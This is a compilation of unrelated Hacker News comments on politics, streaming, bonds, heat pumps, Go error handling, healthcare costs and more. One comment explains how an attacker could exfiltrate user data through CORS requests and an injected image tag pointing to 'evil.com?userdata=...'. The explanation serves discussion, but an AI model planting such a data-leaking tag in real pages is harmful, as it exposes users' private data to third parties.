skysight-inc/HackerNews huggingface dataset:
That 2015 article is great, thank you. I think this part sums up the problem in a nutshell: "[identity politicians] deny that people exist as unique individuals at all; people are simply instances of spectres".

In my experience at least this is true: anytime I've tried to engage in a discussion with someone who is into identity politics, I've been told that I may say one thing, but my actual intentions are nefarious, that I'm full of fear and hate, and that my view is meaningless since I'm a white hetero male. There is no need to talk to me because they already know everything about me and what a horrible (or at least very blind) person I am.

I think the Left would do well to try to minimize "idpol" if for no other reason than strategically it's a disaster - it chases away tons of potential allies.
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Possibly cathartic, but I'd almost imagine having a bad signal would distract them more.
I would bet the media owners had some inkling that the internet would change the nature of the game and the elimination of a middle man was on its way (assuming net neutrality, but that of course has changed). Anyone in their position would have been wise to let Netflix have the rights while they tested the business model and/or the media owners themselves built their product, but definitely not let them have it for any longer than necessary.
No idea about the podcast, I'll give a listen though based on your comments.

My comment was on reviewing a few of the articles, the sloppiness exhibited in this one was common. I guess it's more a preaching-to-the-converted sort of area than trying to do a good job of presenting arguments.

Perhaps I didn't give it a fair shake - I'm definitely not one to enjoy watching people grinding their favorite axes, particularly if they are uncharitable to other viewpoints while simultaneously presenting their own assumptions as canon.
For a (somewhat) large company, McCormick maintains the quality of many products they make.
I wanted to check in on this because I am genuinely interested in reading the study. Were you able to find it?
I am always going to disappointed that in the end the only model Netflix could follow was that of the cable companies by having its own locked in content. The cable companies didn't want to share their media via the internet and hoarded it and Netflix's attempts to be a modern delivery service failed, so they became a cable TV company over the internet with their own locked in content.
It's not just that. The system has ballooned on top of itself: the arms race that is higher education is in no small part a result of government issued loans that seem great at the time but turn out to be a nightmare in practice. Students get caught up in the hype of needing to be a part of the arms race (go to a "good" school) and borrow exorbitantly from their future without understanding what they're actually getting into. Then many companies that pay the best only recruit at the "best" schools, which fortifies the entire system and leaves many students from lower tier programs with a degree, a mountain of debt, and no job.
> If you google you will find some data on this, GenX/Millennials are due to receive the largest pot of inheritance of any generation before them!

The fact that a handful of their age-peers (who are already quite wealthy because of the advantages of family wealth) will be fabulously wealthy on levels not seen before in history will not be of much benefit to the majority of people in those generations.
As someone who used to work in the medical field it can be a pain to even know how much insurances will reimburse for procedures. Especially when it comes to smaller / union insurance providers, health care providers have to call and wait for a fax or snail mail for a reimbursement table. This leads to balance billing or the provider just eating the cost.

On the consumer side I just found out about healthcare blue book and they have prices for just about any procedure.
What? Can we start with an example such as:
1) Take a room starting at 20C, how much energy to get the room to 25C?
2) Conversely take a room at 25C, how much energy to get the room to 20C?

Intuitively heating should be cheaper, since loses are heat. Whereas with cooling you'll have inefficiency (e.g. in the pump) in the form of heat, therefore more energy to remove that additional heat.
Just because Kreuz does it and every person from New York that goes to Texas to write about BBQ has mentioned it doesn't mean sauceless is even ubiquitous in Central Texas. This is like some weird myth perpetuated by foodie culture.
This under-represents the risks of bond investment. While it's true that the credit risk of treasuries is incredibly low, interest rate and inflation risk needs to be addressed more seriously than it is in this post.

In today's market, it's easy to think of holding a bond until maturity under adverse interest rate movements as "not losing money". This is a false model. For example, a ten year treasury purchased at issue in mid-2016 is paying less than the current rate of inflation. When interest rates increase, bond holders lose money. Holding the bond just changes the accounting (and exposure to future swings).

Diversification of bond duration is important in terms of risk management and not just cash flow concerns. Prudent portfolios include equities as well as debt.

While I'm currently in tech, I worked on Wall Street for years (both the trading business and IT).
I'm in the same boat as you. Error handling and code generation (to support the lack of generics) in go always left a poor impression on me. I ended up going back to node for work, f# or typescript for personal projects.

These two changes alone are enough to get me to pick go back up.
Netflix hasn't outsmarted anyone really. They are still dependent on the studios for AAA content. It remains to be seen how successful Netflix remains once studios ramp up their own streaming services and start pulling their content from Netflix. I predict it will become another HBO with similar subscription rates.
Wyden and Merkley? feels like we could pull a hat trick if we needed a third Senator.
Increased density means fewer low density buildings and paved surfaces elsewhere. Urbanization is a massive net positive for the environment.
chrome://flags

Mark non-secure origins as non-secure

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so your stance is 1) neither of us know if this is the case, (and thus this convo is pointless) or 2)i am universally wrong and google is biasing the new results ?
I completely agree with you on this, but changing entire megapolis's is not going to be an easy task. Here in Southern California we have a huge heat island effect, due to the non stop city going from South Orange County to Ventura county (close to 100 miles) and from the ocean to at least 50 miles inland. I've read it can cause rain storms to completely bypass this area.
I'm all in on mega, since there exist command line tools for it and linux support. Also if you're ever subject to high latency or buffer bloat or anything that might slow normal http traffic to a crawl, there's something about the way they deliver data that can always download at full speed.
Donald Trump slams Google search as 'rigged' even though it's not
You don't need to "understand how Let's Encrypt works" to use it. You can still copy & paste from a tutorial in order to set it up.
> In both situations, you have less money than if you'd bought the bonds at a later time instead.

But this is not the situation I described. My point is that buying the bonds in January would have been better than buying the bond fund in January.

If you look at mvilim's response to my comment you will see that the fund underperformed bonds between January and today.
And also don't follow up a disclosure with an offer to sell exploits to the highest bidder.

Is selling an exploit to a foreign government even 100% legal? (Serious question; that seems like the sort of thing that could get one in trouble.)
An actual backup, would be a copy of said photos and vidoes on:

- An external Drive. (which is only connected to copy files)

- An external cloud service.

- Another computer that you have.

You should probably do a couple of these.

I personally backup home computers (using borg) to a home server, that server has a 2.5 2TB external HDD connected to it (2 other 2.5 external drives are kept outside of the house). A backup of important files from the nas (including the computer backups) gets copied over to the external drive nightly. Weekly the drives gets rotated.

The really important stuff is also backed up offsite on a daily basis.
> Why the fuck isn't there a law against this kind of shit?

There's a pretty clear answer to this question almost every single time it's asked... the people who benefit are wealthy and the people hurt are poor. The latter structurally lack the ability to fight it or lobby their congresspeople to change the law to help them. Until a mass movement steps forward to say "no, we will not tolerate this", nothing can possibly change. We have no recourse but each other and collective action.
Will this include an iOS app? This would be interesting on an iPad (although competing against GoodNotes will be tough). On a laptop, I haven't come across anything besides maybe a Surface Book for which there is a suitable input device for handwriting.
Their web application is giving me rate-limiting errors from Chrome 68 and the Android app is having some kind of issue.
Bitcoin Price Defies SEC ETF Rejection – Sign of a Maturing Market?
Planning time for internal users
Yeah I think this has more to do with notion that "Southern Style BBQ" is an American cuisine, and as a result many American brands that own that space are being exported worldwide. The same is true for Tex-Mex related brands gaining popularity all through Europe.

There's not a lot of Japanese people here in Ireland, but you still find Kikkoman soy sauce everywhere.
Frac-js
https://en.wikipedia.org/wiki/Jevons_paradox

also https://www.axios.com/despite-renewables-growth-there-has-ne...
> Why is it that way?

If the other methods could target you technically, they would
okay so to achieve a good mobile experience, you need a responsive layout and some sort of pjax rendering. That still doesn't explain the massive weight of current front-end solutions.
In the past. We (I worked on gmail ads during this time) stopped doing it about a year ago.

https://blog.google/products/gmail/g-suite-gains-traction-in...
Neat! Now if it could only RSS-ify literally anything this could be useful.
Yes a heat pump for heating is very efficient when the outside temperature is above a certain temperature(aka there is heat to pump). But running a heat pump as an air conditioner is not nearly as efficient. In the case of heating any losses in the system usually add more heat into the system which is beneficial, when cooling though losses still add heat to the system which is the opposite of what you want.
The article points out the issue with AC isn't energy/CO2, it's refrigerants.

>Second, air-conditioners use so-called “F gases” (such as hydrofluorocarbons, or HFCs) as refrigerants. When—as is common—the machines leak in use or on disposal, these gases escape, doing vast damage. HFCs trap between 1,000 and 9,000 times as much heat as the same amount of CO2, meaning they are much more potent causes of global warming. On this basis, Paul Hawken of Project Drawdown, a think-tank, calculates that improving air-conditioners could do more than anything else to reduce greenhouse gases.
Ask HN: How can I be happy with my pay?
Hey HN,

I work in one of the big 4 tech companies, and I make reasonable money. However, I have this problem that whenever I hear about another company that pays more for the same role, or another person who get paid more, my day is usually ruined. I get unhappy and feel like a failure.

I understand this is not a healthy way, and this is not the correct way to think about life, but I am not able to help it.

Most commonly people tell me to enjoy work, but most work is basically crap at any of the big four - so I feel like I should aim for money instead.

Does anyone else feel like this? How do you get over this nonsense, and be happy with pay instead?
The Go team is pretty set on maintaining backwards compatibility—rewriting the standard library is the exact opposite of that. Just because the promise is Go 1.X won't break your code doesn't mean they don't remember Python 3.

Besides, which parts of the existing standard library would even benefit from generics themselves? Of course the obvious thing is to /add/ a set of standard container templates but that doesn't really step on anyone's toes.
Olympians Use Imagery as Mental Training (2014)
It is probably all of those things at the same time, and nothing stops employees from wielding considerable power when it comes to influencing decision making on any of those issues.

Google was, only a few months ago, forced by its employees to turn down lucrative defence contracts, and has since committed to not participate in them.

I think if employees manage to accomplish that we can all manage to improve our privacy practises.
I think your key point is this: "If you suspect that rates are still rising when you let your ladder burn down then this can be a good approach." I agree with this statement.

If you disagree with the market pricing of interest rates, then yes, you should do something other than the market (i.e. what the bond fund would do). Letting the ladder burn down (as opposed to continuing to roll, as the fund would) is claiming that the rates will be higher than the market is currently pricing them.

If you agree with the market pricing of bonds, then the ladder is equivalent to the bond fund (because the bond fund is simply managing the ladder for you by proxy).
The decades of data only make sense when you consider that a very small percentage of the population was attending college. Of course they were highly paid; they were rare.

If everybody has a college degree, then those skills aren’t rare and you won’t get paid highly for them. Salary is about how hard you are to replace, not how good/qualified you are.

The problem definitely is that we push people to college. You don’t need a college degree for 90% of the jobs out there and we’ve completely watered down what a college degree is because we wanted everyone to have one.
Freezers provide heat outside the freezer - which is in the store. So while not the most efficient kind of heating it’s not “heat the store and cool the freezers”. 1kWh spent cooling a fridge is 1kWh heat added to the store.

(This depends on where the freezer heat exchangers are)
Is any of the data used from that collection/analysis still around?
I'm disappointed the Java has given exceptions such a bad wrap that all new programming languages dance around them like crazy. I understand Rust going with error returns due to it's low-level nature but Go is pretty high level.

This semi-explicit error handling code optimizes for fairly trivial cases as very few real-world functions don't have some kind of exception condition. The difference between prefixing nearly every function with "check" vs. having that implicit is very small.

Proper use of exceptions puts the focus on where you can handle the error rather than where the error occurs. Java screws this up with checked exceptions, which puts the all focus on error site, and programmers have subsequently determined (correctly) that checked exceptions are hardly better than error returns.

However, that is fundamentally the wrong way to look at error management. If a method 17 levels deep on the call stack throws a network error, I shouldn't have to care about those 17 levels because I'm going to restart the whole operation at the point I can do that. The important part is not where the error is raised/returned.
Thank you! This is all in JavaScript with some open source tools I'm building[1]. I write about my process in a few places: often on Twitter, recently in a TinyLetter, and occasionally more in-depth on my blog[2].

I'd suggest Tim Holman's GenerativeArtistry[3] as a starting point to get back into it.

Good luck! Feel free to ping me any time on Twitter or IG if you have any Qs about generative art.

[1] - https://github.com/mattdesl/canvas-sketch

[2] - https://mattdesl.svbtle.com/

[3] - https://generativeartistry.com/
If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it.

Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=...".

Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.
DuckDuckGo Raises $10M
Maybe a fake CTA to measure interest..
Remote Code Execution on packagist.org
Trusted certification authorities are not issuing DV SSL certificates (with domain verification) for IP-addresses; because it creates certain security threats .
I think it is a great short and long term move. The new smaller processes aren't getting us to faster clock rates, they are making things cheaper. GF can get to the same point by optimizing their current processes.
You joke, and the OP is possibly joking as well, but this is a reality for a lot of people... Their poverty freezes them out of the credit system, they lack health insurance, etc.

Poverty in the US has gotten so bad in some places that it rivals the worst of Africa[0][1].

[0]: https://www.nytimes.com/2018/01/24/opinion/poverty-united-st...
[1]: https://www.ohchr.org/EN/NewsEvents/Pages/DisplayNews.aspx?N...
Communication is obviously being tested in both phone screens and onsites. It's not like a candidate in a coding interview can simply start coding silently, finish, and then pass to the next stage because their code works. A big part of a coding interview is working with the candidate.

> the ability to read code

How do you test for that in isolation?

There are exercises that do that: you show the candidate a piece of code, and ask them to find the bug. They have all the worst issues that folks here are complaining about, amplified: stressful, awkward, etc. In my experience these types of exercises are also more random: i.e. depend more on luck. Sometimes great candidates fail them, and poor candidates get them right on a fluke. So they are overall less indicative.

Ultimately, though, it's back to the first point: how do I test if the candidate can do their job, i.e. code?

A candidate may communicate really well, say all the right things in best-practice questions like the one you mentioned, write well in English, but still unable to code their way out of a matchbox.
The ironic thing about the replacement of CFCs is that the replacement refrigerants have all tended to be less efficient, toxic, flammable, or a combination of all those. One has to wonder how the environmental effects of the latter compare.
It is good, but it is annoying that it came out before we were able to properly lock down domains to cert authorities via DNS. It used to be that a malactor had to buy a new cert when they owned part of your backend if they weren't able to get your private keys.

Now they can just use Let's Encrypt.
I don't want to be compromised at all and it seems like a great way keep it that way is to force web pages to live in you know pages which I can close and know they aren't effecting my browser.

It also breaks my mental model of how the browser works in a way that will be incomprehensible to users.

Instead of my computer is acting funny I need to reboot we will have my browser is acting funny I need to restart it or we can combine the 2.

My browser is acting funny lets power cycle again. Coming soon to a windows PC near you.
What's strange is that many hospitals seem to legitimately be in financial trouble. You often hear about smaller hospitals not being able to make it financially, and being gobbled up by larger health networks. How can I be paying them $600 for an asprin, and other fake charges, and they still can't make any money?
That basically happened to my startup. I led an fairly high-performing Engineering team in an east coast based startup. We were acquired by a west coast company and shortly thereafter, I got pushed into an IC role and a new manager moved to the east coast temporarily to oversee things. A year later, the new manager moved back so all management is now on the west coast and the formerly high performing teams went from releasing every 2-4 weeks at time of acquisition to a grand total of about 5 releases in 18 months. On an average day, about 50% of the office population is "working from home" and every couple months another team member moves on to greener pastures.
These questions get brought up too late. Of course they are much harder to address when a company is at virtual hyperscale.

Investors wanted growth, and they got growth. Growth also comes with consequences, but it's a lot harder to convince investors you aren't doing work contributing to growth in order to look at non-immediate consequences.
> mining-related GPU sales only account for 9 percent of its sales in the first quarter of 2018 as the majority of its revenue still comes from the gaming sector.

Doubt. is this just me?
One thing I lament about Netflix is how people's watching habits have changed around it, and how the programming has also changed in response.

A lot of people like to have something playing on the TV that they passively watch while also doing something else. Maybe they put on a show while they browse Instagram, or do house work/cook dinner, or while hanging with friends.

Seemingly as a result of this, there are a lot of shows/movies where you don't really need to pay close attention to get the plot because it has been dumbed down, reduced to the most basic strokes. There's more filler in between plot developments. It's like a lot of B-movie schlock with high production value.

These shows/movies don't interest me. When I put something on to watch, I sit there and watch it. I want deep plots and fleshed out characters and a lot of Netflix originals seem to lack this.
If you aren't a professor and you are teaching classes you are an Adjunct/Lecturer which is a dead end career-wise. Maybe nice as a side gig or when you retire but a horrible position to be in otherwise.

Edit: I actually don't know what you are arguing, I think the point is that you won't get a job as a Professor without a PhD, getting teaching offers is completely different and happen to people in industry without PhDs all the time.
It has a plausible explanation. People searching for Oppenheimer or Gell-Mann don't type "American scientists", they just type "Oppenheimer" and "Gell-Mann". And a website talking about Oppenheimer doesn't spend much time about his being American---after all, that might be the least interesting fact about Oppenheimer's life.

OTOH, I'll bet there are websites that talk about, say, "George Washington Carver, an American scientist you have never heard about."

That said, the quality of curation seems rather poor.
I understand in principle how this might work, but the site gives me no visual idea how it actually works.
Lots of jobs per kWh are only bad if you're a large energy provider looking for maximum profitability. It doesn't mean that solar power is going to be more expensive for consumers. Consumers buy a bunch of panels and pay for installation and maintenance. Given that there is enough sun around, those panels will eventually pay themselves off.

Creating those jobs is also great because it spreads the wealth way more evenly, leading to a healthier economy.